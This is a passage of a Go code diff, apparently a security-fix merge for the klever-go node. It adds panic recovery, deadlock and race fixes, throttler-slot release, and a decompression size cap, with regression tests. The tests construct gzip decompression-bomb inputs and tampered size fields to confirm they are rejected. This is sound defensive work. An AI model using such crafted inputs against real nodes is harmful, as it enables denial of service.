RegisterHandler would block on Lock waiting for its own RLock to + // release) and lock leaks if the callback panics (CWE-667 / CWE-833). hip.mutHandlers.RLock() - for _, handler := range hip.registeredHandlers { - handler(topic, hash, header) - } + snapshot := make([]func(topic string, hash []byte, data interface{}), len(hip.registeredHandlers)) + copy(snapshot, hip.registeredHandlers) hip.mutHandlers.RUnlock() + + // Per-handler recover (failure isolation): a panic in handler[i] must NOT + // skip handlers[i+1..N-1]. Each invocation runs through invokeHandlerSafely + // so it has its own recover boundary. + for i, handler := range snapshot { + hip.invokeHandlerSafely(handler, topic, hash, header, i) + } +} + +// invokeHandlerSafely calls a single registered handler under a panic-recover +// boundary. A panic in the handler is logged with full forensic context +// (topic, hash, handler index, panic value, stack) and absorbed so the caller +// can continue iterating over the rest of the snapshot. +func (hip *HdrInterceptorProcessor) invokeHandlerSafely( + handler func(topic string, hash []byte, data interface{}), + topic string, + hash []byte, + header data.HeaderHandler, + handlerIndex int, +) { + defer func() { + if r := recover(); r != nil { + log.Error("HdrInterceptorProcessor.notify handler panicked", + "topic", topic, + "hash", hash, + "handlerIndex", handlerIndex, + "panic", r, + "stack", string(debug.Stack()), + ) + } + }() + handler(topic, hash, header) }
core/process/interceptors/processor/hdrInterceptorProcessor_test.go+213 −0 added@@ -0,0 +1,213 @@ +package processor_test + +import ( + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/klever-io/klever-go/common/mock" + "github.com/klever-io/klever-go/core/process" + "github.com/klever-io/klever-go/core/process/interceptors/processor" + processmock "github.com/klever-io/klever-go/core/process/mock" + "github.com/klever-io/klever-go/data" + "github.com/stretchr/testify/require" +) + +// hdrValidatorStub is the minimal stub satisfying both process.InterceptedData +// (the static type Save accepts) and process.HdrValidatorHandler (the dynamic +// type Save asserts to). +type hdrValidatorStub struct { + hash []byte + header data.HeaderHandler +} + +var _ process.InterceptedData = (*hdrValidatorStub)(nil) +var _ process.HdrValidatorHandler = (*hdrValidatorStub)(nil) + +func (s *hdrValidatorStub) Hash() []byte { return s.hash } +func (s *hdrValidatorStub) HeaderHandler() data.HeaderHandler { return s.header } +func (s *hdrValidatorStub) CheckValidity() error { return nil } +func (s *hdrValidatorStub) Type() string { return "hdr-validator-stub" } +func (s *hdrValidatorStub) Identifiers() [][]byte { return nil } +func (s *hdrValidatorStub) String() string { return "hdr-validator-stub" } +func (s *hdrValidatorStub) IsInterfaceNil() bool { return s == nil } + +func newHdrInterceptorProcessorForTest(t *testing.T) *processor.HdrInterceptorProcessor { + t.Helper() + hip, err := processor.NewHdrInterceptorProcessor(&processor.ArgHdrInterceptorProcessor{ + Headers: &mock.HeadersCacherStub{}, + BlockBlackList: &processmock.TimeCacheStub{}, + }) + require.NoError(t, err) + return hip +} + +//------- regression: missing recover() on goroutine spawned by Save (Finding 4.1) + +// A panicking registered handler must not abort the process. Pre-fix, the +// goroutine spawned by Save at hdrInterceptorProcessor.go:71 had no +// defer-recover; any panic propagated out of the goroutine and the Go runtime +// killed the process. Post-fix, the panic is caught inside notify and logged. +func TestHdrInterceptorProcessor_Save_HandlerPanic_DoesNotCrashProcess(t *testing.T) { + t.Parallel() + + hip := newHdrInterceptorProcessorForTest(t) + + invoked := make(chan struct{}) + hip.RegisterHandler(func(_ string, _ []byte, _ interface{}) { + // Signal entry BEFORE panicking so the test can wait deterministically + // (the deferred recover in notify will still fire on the panic below). + close(invoked) + panic("regression: handler that panics must not crash the process") + }) + + stub := &hdrValidatorStub{hash: []byte("hash"), header: &mock.HeaderHandlerStub{}} + + require.NoError(t, hip.Save(stub, "peer", "topic")) + + select { + case <-invoked: + // success — handler ran, panicked, and the deferred recover() in + // notify caught it. Pre-fix the test process would already be dead. + case <-time.After(2 * time.Second): + t.Fatal("regression: panicking handler was never invoked within 2s; " + + "the spawned notify goroutine may be missing or wired incorrectly") + } +} + +//------- regression: per-handler failure isolation (F1 refactor) + +// A panic in handler[i] must NOT skip handler[i+1..N-1]. The initial F1 fix +// wrapped the entire notify() for-loop in a single recover, which meant the +// first panicking handler unwound out of notify and every later handler in +// the snapshot was silently never invoked — a behavior change disguised as a +// safety fix. The follow-up refactor moved the recover boundary to +// invokeHandlerSafely (one per handler), so a panic is contained to a single +// invocation and the loop continues. +// +// This test locks down that invariant: if anyone collapses the per-handler +// recover back to a notify-wide one, this test will fail because handler[1] +// never runs. +func TestHdrInterceptorProcessor_Save_HandlerPanic_DoesNotSkipSubsequentHandlers(t *testing.T) { + t.Parallel() + + hip := newHdrInterceptorProcessorForTest(t) + + handler0Ran := make(chan struct{}) + handler1Ran := make(chan struct{}) + + // Registration order = invocation order (notify iterates the snapshot in + // append order), so handler[0] panics first; handler[1] is the one that + // must still run despite handler[0]'s panic. + hip.RegisterHandler(func(_ string, _ []byte, _ interface{}) { + close(handler0Ran) + panic("regression: panic in handler[0] must not skip handler[1]") + }) + hip.RegisterHandler(func(_ string, _ []byte, _ interface{}) { + close(handler1Ran) + }) + + stub := &hdrValidatorStub{hash: []byte("hash"), header: &mock.HeaderHandlerStub{}} + require.NoError(t, hip.Save(stub, "peer", "topic")) + + // Sanity: handler[0] must actually have been invoked, otherwise the test + // isn't exercising the panic path at all (e.g., the notify goroutine + // failed to spawn). + select { + case <-handler0Ran: + case <-time.After(2 * time.Second): + t.Fatal("setup: handler[0] was never invoked; the notify goroutine may be missing or wired incorrectly") + } + + // The actual regression assertion: handler[1] MUST run despite handler[0] + // panicking. This is the failure-isolation property the per-handler + // recover in invokeHandlerSafely guarantees. + select { + case <-handler1Ran: + // success — per-handler recover contained the panic; loop continued + case <-time.After(2 * time.Second): + t.Fatal("regression: panic in handler[0] caused handler[1] to be skipped — " + + "the recover boundary is at the wrong level (notify-wide instead of per-handler)") + } +} + +//------- regression: lock held across user callback in notify (Finding 4.3) + +// A registered handler that itself calls RegisterHandler must not deadlock. +// Pre-fix, notify held mutHandlers.RLock across the handler call; the inner +// RegisterHandler tried to acquire mutHandlers.Lock() on the same goroutine, +// blocking forever because the RLock could not be released until the handler +// returned. Post-fix, notify snapshots the handler list and releases the +// RLock before invoking handlers. +// +// In addition to the deadlock property, this test asserts the snapshot +// semantics that the fix relies on: +// 1. A handler registered DURING notify() must NOT fire on the same Save +// (the snapshot was taken before the for-loop). +// 2. A subsequent Save MUST invoke the recursively-registered handler +// (RegisterHandler must have actually appended; it must not silently +// no-op when called from inside notify). +func TestHdrInterceptorProcessor_Save_HandlerCallingRegisterHandler_NoDeadlock(t *testing.T) { + t.Parallel() + + hip := newHdrInterceptorProcessorForTest(t) + + completed := make(chan struct{}) + innerInvoked := make(chan struct{}) + var ( + innerInvokeCount atomic.Int32 + completedOnce sync.Once + registerInnerOnce sync.Once + ) + + hip.RegisterHandler(func(_ string, _ []byte, _ interface{}) { + // Idempotent: the outer handler runs on EVERY Save, including the + // follow-up Save below. We only want to register the inner handler + // and close `completed` on the first invocation. + registerInnerOnce.Do(func() { + hip.RegisterHandler(func(_ string, _ []byte, _ interface{}) { + if innerInvokeCount.Add(1) == 1 { + close(innerInvoked) + } + }) + }) + completedOnce.Do(func() { close(completed) }) + }) + + stub := &hdrValidatorStub{hash: []byte("hash"), header: &mock.HeaderHandlerStub{}} + + require.NoError(t, hip.Save(stub, "peer", "topic")) + + select { + case <-completed: + // success — recursive RegisterHandler returned, no deadlock + case <-time.After(2 * time.Second): + t.Fatal("regression: recursive RegisterHandler from inside notify deadlocked " + + "(RLock held across user callback)") + } + + // Snapshot semantics #1: the inner handler must not have fired on this Save. + // Allow a brief grace window for any straggling goroutine; if the snapshot + // is correct, no goroutine will ever invoke it for this Save. + select { + case <-innerInvoked: + t.Fatal("regression: handler registered during notify() fired on the SAME Save — " + + "snapshot semantics broken (handlers slice was iterated post-RegisterHandler)") + case <-time.After(100 * time.Millisecond): + // expected — the snapshot was taken before the loop, so the inner + // handler is not in the snapshot for this Save + } + + // Snapshot semantics #2: the inner handler MUST be invoked on a follow-up + // Save (proves RegisterHandler actually appended and didn't silently + // no-op when called from inside notify). + require.NoError(t, hip.Save(stub, "peer", "topic")) + select { + case <-innerInvoked: + // success — the recursively-registered handler is now in the snapshot + case <-time.After(2 * time.Second): + t.Fatal("regression: recursively-registered handler never fired on a follow-up Save — " + + "RegisterHandler may be silently no-op'ing when called from inside notify") + } +}
core/process/interceptors/processor/txInterceptorProcessor.go+12 −2 modified@@ -70,7 +70,13 @@ func (txip *TxInterceptorProcessor) Save(data process.InterceptedData, _ core.Pe return process.ErrWrongTypeAssertion } - tx := interceptedTx.Transaction().(*transaction.Transaction) + // Guarded type assertion: an interceptor reached here with a non-Transaction + // payload would panic the goroutine and silently leak its throttler slot + // (CWE-704). + tx, ok := interceptedTx.Transaction().(*transaction.Transaction) + if !ok { + return process.ErrWrongTypeAssertion + } size := tx.GetSize() txip.dataPool.AddData( @@ -90,7 +96,11 @@ func (txip *TxInterceptorProcessor) Notify(data process.InterceptedData, _ core. return process.ErrWrongTypeAssertion } - tx := interceptedTx.Transaction().(*transaction.Transaction) + // See Save above; same guard, same rationale. + tx, ok := interceptedTx.Transaction().(*transaction.Transaction) + if !ok { + return process.ErrWrongTypeAssertion + } size := tx.GetSize() txip.dataPool.Notify(data.Hash(),
core/process/interceptors/singleDataInterceptor.go+15 −16 modified@@ -69,9 +69,21 @@ func NewSingleDataInterceptor(arg ArgSingleDataInterceptor) (*SingleDataIntercep // ProcessReceivedMessage is the callback func from the p2p.Messenger and will be called each time a new message was received // (for the topic this validator was registered to) func (sdi *SingleDataInterceptor) ProcessReceivedMessage(message p2p.MessageP2P, fromConnectedPeer core.PeerID) error { - sdi.mutDebugHandler.RLock() - defer sdi.mutDebugHandler.RUnlock() - + // Note: synchronization for bdi.debugHandler is handled inside + // processDebugInterceptedData / receivedDebugInterceptedData themselves + // (each takes mutDebugHandler.RLock() locally on the goroutine that + // actually performs the read). + // + // An outer RLock here would NOT have prevented CWE-362: ProcessReceivedMessage + // returns before the worker goroutine spawned at the bottom reads + // bdi.debugHandler, so the synchronous-frame defer-RUnlock fires too early + // to cover the race. Per-callsite RLocks are what the race detector requires. + // + // Secondary reason: stacking an outer RLock with the per-callsite RLocks + // would also be unsafe under writer contention. Go's sync.RWMutex is not + // recursion-aware — once a writer is queued, a nested RLock() blocks behind + // it (writer preference) and self-deadlocks while the outer RLock is still + // held (CWE-667). err := sdi.preProcessMessage(message, fromConnectedPeer) if err != nil { return err @@ -124,19 +136,6 @@ func (sdi *SingleDataInterceptor) ProcessReceivedMessage(message p2p.MessageP2P, return errOriginator } - shouldProcess := isWhiteListed || true // always process same chain id TODO: - if !shouldProcess { - log.Trace("intercepted data is for other shards", - "pid", p2p.MessageOriginatorPid(message), - "seq no", p2p.MessageOriginatorSeq(message), - "topic", message.Topic(), - "hash", interceptedData.Hash(), - "is white listed", isWhiteListed, - ) - - return nil - } - ownershipTransferred = true go func() { defer func() {
core/process/interceptors/singleDataInterceptor_test.go+101 −0 modified@@ -2,6 +2,7 @@ package interceptors_test import ( "errors" + "sync" "sync/atomic" "testing" "time" @@ -482,3 +483,103 @@ func TestSingleDataInterceptor_ProcessReceivedMessage_RepeatedFactoryErrorsMustN "regression GHSA-74m6-4hjp-7226 / KLC-2348: throttler exhausted on iteration %d: %v", i, processErr) } } + +//------- regression: data race on bdi.debugHandler from worker goroutine (Finding 4.2) + +// SingleDataInterceptor.ProcessReceivedMessage previously held mutDebugHandler.RLock +// only for the synchronous frame; the worker goroutine spawned at the end read +// bdi.debugHandler after the lock had already been released. Concurrent +// SetInterceptedDebugHandler calls must not race with that worker-side read. +// Run with `go test -race` to enforce. +// +// The validate/save/whitelist stubs all return nil/true so ProcessReceivedMessage +// reaches the success path that spawns the worker goroutine and ultimately +// dispatches LogProcessedHashes through bdi.debugHandler — that is precisely +// the read site the rotation goroutine races with. Changing any of those mocks +// to err-return would silently un-cover the race. +func TestSingleDataInterceptor_ProcessReceivedMessage_DebugHandlerRotation_NoRace(t *testing.T) { + t.Parallel() + + interceptedData := &mock.InterceptedDataStub{ + CheckValidityCalled: func() error { return nil }, + IdentifiersCalled: func() [][]byte { return [][]byte{[]byte("id-0")} }, + } + + arg := createMockArgSingleDataInterceptor() + arg.DataFactory = &mock.InterceptedDataFactoryStub{ + CreateCalled: func(_ []byte) (process.InterceptedData, error) { return interceptedData, nil }, + } + arg.Processor = &mock.InterceptorProcessorStub{ + ValidateCalled: func(_ process.InterceptedData) error { return nil }, + SaveCalled: func(_ process.InterceptedData) error { return nil }, + } + arg.WhiteListRequest = &mock.WhiteListHandlerStub{ + IsWhiteListedCalled: func(_ process.InterceptedData) bool { return true }, + } + + sdi, err := interceptors.NewSingleDataInterceptor(arg) + require.NoError(t, err) + + // workersWG tracks the spawned async LogProcessedHashes calls so we can + // deterministically wait for every worker goroutine's debugHandler read + // to complete before exiting (replaces the previous timing-based sleep). + var workersWG sync.WaitGroup + + logProcessed := func(_ string, _ [][]byte, _ error) { + workersWG.Done() + } + dh1 := &mock.InterceptedDebugHandlerStub{ + LogProcessedHashesCalled: logProcessed, + LogReceivedHashesCalled: func(_ string, _ [][]byte) {}, + } + dh2 := &mock.InterceptedDebugHandlerStub{ + LogProcessedHashesCalled: logProcessed, + LogReceivedHashesCalled: func(_ string, _ [][]byte) {}, + } + + // One-time sanity check that the rotation API itself works before we + // drown its return value in the race loop. Without this, a regression + // that made SetInterceptedDebugHandler always-error would silently turn + // every iteration below into a no-op rotation and leave the race + // detector with nothing to observe (false negative). + require.NoError(t, sdi.SetInterceptedDebugHandler(dh1), + "SetInterceptedDebugHandler must accept a valid handler — sanity check") + + const iterations = 1000 + done := make(chan struct{}, 2) + + go func() { + for i := 0; i < iterations; i++ { + workersWG.Add(1) // optimistic Add; refunded below on err + msg := &mock.P2PMessageMock{ + DataField: []byte("any-non-empty-payload"), + PeerField: core.PeerID("origin-peer"), + SeqNoField: []byte("seq"), + } + if procErr := sdi.ProcessReceivedMessage(msg, core.PeerID("from-peer")); procErr != nil { + // No worker goroutine was spawned for this iteration, so the + // LogProcessedHashes Done() will never fire — refund the Add. + workersWG.Done() + } + } + done <- struct{}{} + }() + + go func() { + for i := 0; i < iterations; i++ { + if i%2 == 0 { + _ = sdi.SetInterceptedDebugHandler(dh1) + } else { + _ = sdi.SetInterceptedDebugHandler(dh2) + } + } + done <- struct{}{} + }() + + <-done + <-done + // Block until every spawned worker has executed its LogProcessedHashes + // callback (i.e. its debugHandler read has happened) so the race detector + // has had a chance to observe each read. + workersWG.Wait() +}
data/batch/batch.go+32 −9 modified@@ -12,6 +12,16 @@ import ( "github.com/klever-io/klever-go/tools/marshal" ) +// MaxDecompressedBatchSize is the hard upper bound on the inflated size of a Batch payload. +// It guards against gzip "decompression bomb" attacks where a tiny wire payload expands to +// many gigabytes inside io.ReadAll. See GHSA-74m6-4hjp-7226 / KLC-2352 (CWE-409). +// +// Sized at 10 MiB — ~40x the legitimate single-batch ceiling enforced upstream +// (core.MaxBulkTransactionSize and core.MaxBufferSizeToSendTrieNodes are both 256 KiB), +// equal to one second of the outOfSpecs per-peer antiflood budget, and well below the +// 30-second blacklist threshold (~36 MiB). +const MaxDecompressedBatchSize = 10 * 1024 * 1024 + // New returns a new batch from given buffers func New(buffs ...[]byte) *Batch { return &Batch{ @@ -32,21 +42,24 @@ func compressGzip(data []byte) ([]byte, error) { return b.Bytes(), nil } -func decompressGzip(data []byte) ([]byte, error) { +func decompressGzip(data []byte, max int64) ([]byte, error) { rdata := bytes.NewReader(data) reader, err := gzip.NewReader(rdata) if err != nil { return nil, err } + defer func() { _ = reader.Close() }() - result, err := io.ReadAll(reader) + // Read at most max+1 bytes so we can detect overruns without ever allocating + // past the cap, even when the attacker advertises a small DataSize. + limited := io.LimitReader(reader, max+1) + result, err := io.ReadAll(limited) if err != nil { return nil, err } - - if err := reader.Close(); err != nil { - return nil, err + if int64(len(result)) > max { + return nil, common.ErrDecompressionTooLarge } return result, nil @@ -64,8 +77,8 @@ func compressLZ4(data []byte) ([]byte, error) { return output[:outSize], nil*/ } -func decompressLZ4(dataSize int32, data []byte) ([]byte, error) { - return decompressGzip(data) +func decompressLZ4(_ int32, data []byte, max int64) ([]byte, error) { + return decompressGzip(data, max) /*output := make([]byte, dataSize) _, err := lz4.Uncompress(output, data) if err != nil { @@ -114,17 +127,27 @@ func (ba *Batch) Decompress(m marshal.Marshalizer) error { var result []byte var err error if ba.Algo == CType_LZ4 { - result, err = decompressLZ4(ba.DataSize, ba.Stream) + result, err = decompressLZ4(ba.DataSize, ba.Stream, MaxDecompressedBatchSize) if err != nil { return err } } else { - result, err = decompressGzip(ba.Stream) + result, err = decompressGzip(ba.Stream, MaxDecompressedBatchSize) if err != nil { return err } } + // Reject batches whose self-reported DataSize disagrees with the inflated payload. + // Compress writes DataSize = len(marshaled batch); the sole production caller + // (core/partitioning/simpleDataPacker.PackDataInChunks) guards against compressing + // empty chunks, so legitimate traffic always satisfies len(result) == ba.DataSize. + // The comparison runs unconditionally — gating it on DataSize > 0 would let an + // attacker bypass this defense-in-depth check by setting DataSize=0 on the wire. + if int64(len(result)) != int64(ba.DataSize) { + return common.ErrDecompressedSizeMismatch + } + // decode err = m.Unmarshal(ba, result) if err != nil {
data/batch/batch_test.go+133 −0 modified@@ -1,10 +1,14 @@ package batch_test import ( + "bytes" + "compress/gzip" + "errors" "fmt" "math" "testing" + "github.com/klever-io/klever-go/common" "github.com/klever-io/klever-go/data/batch" "github.com/klever-io/klever-go/tools/marshal/factory" "github.com/stretchr/testify/assert" @@ -47,6 +51,135 @@ func TestGZIP(t *testing.T) { fmt.Printf("Size: %d, New Size %d\n", len(data), len(newData)) } +// gzipBytes returns the gzip-compressed encoding of payload. +func gzipBytes(t *testing.T, payload []byte) []byte { + t.Helper() + + var buf bytes.Buffer + gz := gzip.NewWriter(&buf) + _, err := gz.Write(payload) + require.NoError(t, err) + require.NoError(t, gz.Close()) + return buf.Bytes() +} + +// Regression: GHSA-74m6-4hjp-7226 / KLC-2352 — a compressed batch whose inflated payload +// would exceed MaxDecompressedBatchSize must be rejected without ever allocating past the cap. +func TestDecompress_RejectsBombOverHardCap(t *testing.T) { + t.Parallel() + + internalMarshalizer, err := factory.NewMarshalizer(factory.ProtoMarshalizer) + require.NoError(t, err) + + // One byte past the cap is enough to prove the LimitReader bound — we don't have to + // allocate a full GB to exercise the defense. + payload := bytes.Repeat([]byte{0}, batch.MaxDecompressedBatchSize+1) + stream := gzipBytes(t, payload) + + bomb := &batch.Batch{ + IsCompressed: true, + Algo: batch.CType_GZip, + Stream: stream, + DataSize: int32(len(payload)), // honest field — but ignored by the cap + } + + err = bomb.Decompress(internalMarshalizer) + require.Error(t, err) + require.Truef(t, errors.Is(err, common.ErrDecompressionTooLarge), + "expected ErrDecompressionTooLarge, got %v", err) +} + +// A high-ratio "deflate of deflate" wire payload (a few KB) that still inflates past the +// hard cap on the first read must be caught the same way. +func TestDecompress_RejectsHighCompressionRatioBomb(t *testing.T) { + t.Parallel() + + internalMarshalizer, err := factory.NewMarshalizer(factory.ProtoMarshalizer) + require.NoError(t, err) + + // 16 MiB beyond the cap, all zero — gzips to <100 KB, well under any wire limit. + overflow := batch.MaxDecompressedBatchSize + (16 << 20) + payload := make([]byte, overflow) + stream := gzipBytes(t, payload) + require.Less(t, len(stream), 1<<20, + "sanity: bomb payload should compress to under 1 MB, got %d", len(stream)) + + bomb := &batch.Batch{ + IsCompressed: true, + Algo: batch.CType_GZip, + Stream: stream, + DataSize: int32(len(payload)), // #nosec G115 — test fixture + } + + err = bomb.Decompress(internalMarshalizer) + require.Error(t, err) + require.Truef(t, errors.Is(err, common.ErrDecompressionTooLarge), + "expected ErrDecompressionTooLarge, got %v", err) +} + +// LZ4 currently delegates to gzip; the same hard cap must apply on that branch too. +func TestDecompress_LZ4_AlsoBoundedByHardCap(t *testing.T) { + t.Parallel() + + internalMarshalizer, err := factory.NewMarshalizer(factory.ProtoMarshalizer) + require.NoError(t, err) + + payload := bytes.Repeat([]byte{0}, batch.MaxDecompressedBatchSize+1) + stream := gzipBytes(t, payload) + + bomb := &batch.Batch{ + IsCompressed: true, + Algo: batch.CType_LZ4, + Stream: stream, + DataSize: int32(len(payload)), + } + + err = bomb.Decompress(internalMarshalizer) + require.Error(t, err) + require.Truef(t, errors.Is(err, common.ErrDecompressionTooLarge), + "expected ErrDecompressionTooLarge on LZ4 branch, got %v", err) +} + +// A compressed batch whose self-reported DataSize disagrees with the inflated payload +// must be rejected before re-Unmarshal — defense-in-depth against crafted streams that +// stay under the hard cap. The check runs unconditionally so DataSize=0 and negative +// values do not provide a bypass. +func TestDecompress_RejectsDataSizeMismatch(t *testing.T) { + t.Parallel() + + internalMarshalizer, err := factory.NewMarshalizer(factory.ProtoMarshalizer) + require.NoError(t, err) + + // Build a legitimate compressed batch we can clone and tamper. + original := batch.New(addRandom(make([][]byte, 0), 50)...) + original.Algo = batch.CType_GZip + require.NoError(t, original.Compress(internalMarshalizer)) + + tamperCases := map[string]int32{ + "DataSize+1": original.DataSize + 1, + "DataSize-1": original.DataSize - 1, + "DataSize=0": 0, // attacker tries to bypass by clearing the field + "DataSize=-1": -1, // attacker tries an impossible negative value + "DataSize=MaxIn": math.MaxInt32, + } + + for name, lie := range tamperCases { + t.Run(name, func(t *testing.T) { + tampered := &batch.Batch{ + IsCompressed: true, + Algo: original.Algo, + Stream: original.Stream, + DataSize: lie, + } + + err := tampered.Decompress(internalMarshalizer) + require.Error(t, err) + require.Truef(t, errors.Is(err, common.ErrDecompressedSizeMismatch), + "expected ErrDecompressedSizeMismatch for %s, got %v", name, err) + }) + } +} + func BenchmarkCompress(b *testing.B) { algos := []batch.CType{batch.CType_GZip, batch.CType_LZ4} sizes := []int{100, 1000, 3000}
68b94a40824fMerge commit from fork
16 files changed · +719 −17
common/mock/forkControllerStub.go+10 −0 modified@@ -14,6 +14,7 @@ type ForkControllerStub struct { EnableSmartContractsValue bool FixAuditChangesValue bool EpochRewardsV2Value bool + FixAuditChangesV2Value bool EpochConfirmedCalled bool LastConfirmedEpoch uint32 } @@ -48,6 +49,8 @@ func (s *ForkControllerStub) SetFork(forkName string, value bool) *ForkControlle s.FixAuditChangesValue = value case "EpochRewardsV2": s.EpochRewardsV2Value = value + case "FixAuditChangesV2": + s.FixAuditChangesV2Value = value } return s @@ -65,6 +68,7 @@ func (s *ForkControllerStub) SetAll(value bool) { s.EnableSmartContractsValue = value s.FixAuditChangesValue = value s.EpochRewardsV2Value = value + s.FixAuditChangesV2Value = value s.LastConfirmedEpoch = 0 } @@ -80,6 +84,7 @@ func (s *ForkControllerStub) SetByConfig(config config.EnableEpochs) { s.EnableSmartContractsValue = config.SmartContracts == 0 s.FixAuditChangesValue = config.FixAuditChanges == 0 s.EpochRewardsV2Value = config.EpochRewardsV2 == 0 + s.FixAuditChangesV2Value = config.FixAuditChangesV2 == 0 s.LastConfirmedEpoch = 0 } @@ -133,6 +138,11 @@ func (s *ForkControllerStub) EpochRewardsV2() bool { return s.EpochRewardsV2Value } +// FixAuditChangesV2 returns the stubbed value +func (s *ForkControllerStub) FixAuditChangesV2() bool { + return s.FixAuditChangesV2Value +} + // EpochConfirmed records that the method was called and stores the epoch func (s *ForkControllerStub) EpochConfirmed(epoch uint32) { s.EpochConfirmedCalled = true
config/enableEpochs.go+1 −0 modified@@ -25,6 +25,7 @@ type EnableEpochs struct { SmartContracts uint32 `yaml:"smartContracts"` FixAuditChanges uint32 `yaml:"fixAuditChanges"` EpochRewardsV2 uint32 `yaml:"epochRewardsV2"` + FixAuditChangesV2 uint32 `yaml:"fixAuditChangesV2"` } // GasScheduleByEpochs represents a gas schedule toml entry that will be applied from the provided epoch
config/node/enableEpochs.yaml+2 −0 modified@@ -23,6 +23,8 @@ enableEpochs: fixAuditChanges: 0 # Epoch Rewards V2 epochRewardsV2: 0 + # Audit Changes V2 + fixAuditChangesV2: 0 gasSchedule: gasScheduleByEpochs:
core/fork/forks.go+8 −0 modified@@ -23,6 +23,7 @@ type forkController struct { flagEnableSmartContracts atomic.Flag flagFixAuditChanges atomic.Flag flagEpochRewardsV2 atomic.Flag + flagFixAuditChangesV2 atomic.Flag } func NewForkController(cfg config.EnableEpochs, epochNotifier process.EpochNotifier) (*forkController, error) { @@ -78,6 +79,10 @@ func (f *forkController) EpochRewardsV2() bool { return f.flagEpochRewardsV2.IsSet() } +func (f *forkController) FixAuditChangesV2() bool { + return f.flagFixAuditChangesV2.IsSet() +} + // EpochConfirmed is called whenever a new epoch is confirmed func (f *forkController) EpochConfirmed(epoch uint32) { f.flagClaimKFIEnabled.Toggle(epoch >= f.enableEpochs.ClaimKFI) @@ -109,6 +114,9 @@ func (f *forkController) EpochConfirmed(epoch uint32) { f.flagEpochRewardsV2.Toggle(epoch >= f.enableEpochs.EpochRewardsV2) log.Debug("forkController: EpochRewardsV2", "enabled", f.flagEpochRewardsV2.IsSet()) + + f.flagFixAuditChangesV2.Toggle(epoch >= f.enableEpochs.FixAuditChangesV2) + log.Debug("forkController: FixAuditChangesV2", "enabled", f.flagFixAuditChangesV2.IsSet()) } // IsInterfaceNil returns true if there is no value under the interface
core/interface.go+1 −0 modified@@ -79,6 +79,7 @@ type ForkController interface { EnableSmartContracts() bool FixAuditChanges() bool EpochRewardsV2() bool + FixAuditChangesV2() bool IsInterfaceNil() bool }
core/process/interceptors/multiDataInterceptor.go+22 −7 modified@@ -81,10 +81,20 @@ func (mdi *MultiDataInterceptor) ProcessReceivedMessage(message p2p.MessageP2P, if err != nil { return err } + + // Guard the throttler slot reserved by preProcessMessage so every synchronous + // return below releases it exactly once. Ownership transfers to the async + // goroutine on the success path. See GHSA-74m6-4hjp-7226 / KLC-2348. + ownershipTransferred := false + defer func() { + if !ownershipTransferred { + mdi.throttler.EndProcessing() + } + }() + b := batch.Batch{} err = mdi.marshalizer.Unmarshal(&b, message.Data()) if err != nil { - mdi.throttler.EndProcessing() //this situation is so severe that we need to black list de peers reason := "unmarshalable data got on topic " + mdi.topic mdi.antifloodHandler.BlacklistPeer(message.Peer(), reason, core.InvalidMessageBlacklistDuration) @@ -98,13 +108,11 @@ func (mdi *MultiDataInterceptor) ProcessReceivedMessage(message p2p.MessageP2P, log.Error("MultiDataInterceptor.ProcessReceivedMessage", "err", err.Error()) return err } - } multiDataBuff := b.Data lenMultiData := len(multiDataBuff) if lenMultiData == 0 { - mdi.throttler.EndProcessing() return process.ErrNoDataInMessage } @@ -116,7 +124,6 @@ func (mdi *MultiDataInterceptor) ProcessReceivedMessage(message p2p.MessageP2P, message.SeqNo(), ) if err != nil { - mdi.throttler.EndProcessing() return err } @@ -128,13 +135,11 @@ func (mdi *MultiDataInterceptor) ProcessReceivedMessage(message p2p.MessageP2P, interceptedData, err = mdi.interceptedData(dataBuff, message.Peer(), fromConnectedPeer) listInterceptedData[index] = interceptedData if err != nil { - mdi.throttler.EndProcessing() return err } isWhiteListed := mdi.whiteListRequest.IsWhiteListed(interceptedData) if !isWhiteListed && errOriginator != nil { - mdi.throttler.EndProcessing() log.Trace("got message from peer on topic only for validators", "originator", p2p.PeerIDToShortString(message.Peer()), "topic", mdi.topic, @@ -143,11 +148,21 @@ func (mdi *MultiDataInterceptor) ProcessReceivedMessage(message p2p.MessageP2P, } } + ownershipTransferred = true go func() { + defer func() { + // Release the throttler slot before logging so the slot release + // is unconditional even if logging itself panics on an + // attacker-influenced panic value (CWE-400 defense-in-depth). + r := recover() + mdi.throttler.EndProcessing() + if r != nil { + log.Error("MultiDataInterceptor.ProcessReceivedMessage goroutine panicked", "panic", r) + } + }() for _, interceptedData := range listInterceptedData { mdi.processInterceptedData(interceptedData, message) } - mdi.throttler.EndProcessing() }() return nil
core/process/interceptors/multiDataInterceptor_test.go+95 −0 modified@@ -3,6 +3,7 @@ package interceptors_test import ( "bytes" "errors" + "fmt" "sync/atomic" "testing" "time" @@ -12,6 +13,7 @@ import ( "github.com/klever-io/klever-go/core" "github.com/klever-io/klever-go/core/process" "github.com/klever-io/klever-go/core/process/interceptors" + "github.com/klever-io/klever-go/core/throttler" "github.com/klever-io/klever-go/data/batch" "github.com/klever-io/klever-go/tools/check" "github.com/stretchr/testify/assert" @@ -153,6 +155,8 @@ func TestMultiDataInterceptor_ProcessReceivedMessageUnmarshalFailsShouldErr(t *t originatorBlackListed := false fromConnectedPeerBlackListed := false arg := createMockArgMultiDataInterceptor() + throttler := createMockThrottler() + arg.Throttler = throttler arg.Marshalizer = &mock.MarshalizerStub{ UnmarshalCalled: func(obj interface{}, buff []byte) error { return errExpeced @@ -180,12 +184,18 @@ func TestMultiDataInterceptor_ProcessReceivedMessageUnmarshalFailsShouldErr(t *t assert.Equal(t, errExpeced, err) assert.True(t, originatorBlackListed) assert.True(t, fromConnectedPeerBlackListed) + // Regression GHSA-74m6-4hjp-7226 / KLC-2348: every synchronous error path + // after preProcessMessage must release the throttler slot exactly once. + assert.Equal(t, int32(1), throttler.StartProcessingCount()) + assert.Equal(t, int32(1), throttler.EndProcessingCount()) } func TestMultiDataInterceptor_ProcessReceivedMessageUnmarshalReturnsEmptySliceShouldErr(t *testing.T) { t.Parallel() arg := createMockArgMultiDataInterceptor() + throttler := createMockThrottler() + arg.Throttler = throttler arg.Marshalizer = &mock.MarshalizerStub{ UnmarshalCalled: func(obj interface{}, buff []byte) error { return nil @@ -199,6 +209,9 @@ func TestMultiDataInterceptor_ProcessReceivedMessageUnmarshalReturnsEmptySliceSh err := mdi.ProcessReceivedMessage(msg, fromConnectedPeerID) assert.Equal(t, process.ErrNoDataInMessage, err) + // Regression GHSA-74m6-4hjp-7226 / KLC-2348. + assert.Equal(t, int32(1), throttler.StartProcessingCount()) + assert.Equal(t, int32(1), throttler.EndProcessingCount()) } func 